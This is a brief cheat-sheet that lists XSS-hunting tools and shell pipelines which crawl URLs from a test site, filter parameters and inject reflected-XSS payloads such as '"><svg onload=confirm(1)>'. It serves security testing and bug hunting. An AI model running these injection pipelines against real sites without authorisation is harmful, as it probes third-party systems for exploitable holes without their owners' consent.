This is a collection of commands that's help you to find XSS via automation.
Kxss : To find reflected values.
uro: Declutters url lists for crawling.
gf: A wrapper around grep, to help you grep for things.
qsreplace: To replace all query string values with a user-supplied value.
Freq: To find alert values.
airixss: To find XSS during recon.
dalfox : Itβs a powerfull XSS scanner.
echo http://testphp.vulnweb.com | gau | gf xss | uro | qsreplace '"><img src=x onerror=alert(1);>' | freq
cat param.txt | kxss | awk '{print $9}'| dalfox pipe
cat param.txt | qsreplace '"><svg onload=confirm(1)>' | airixss -payload "confirm(1)"
echo http://testphp.vulnweb.com | gau | gf xss | uro |qsreplace '"><svg onload=confirm(1)>' | airixss -payload "confirm(1)"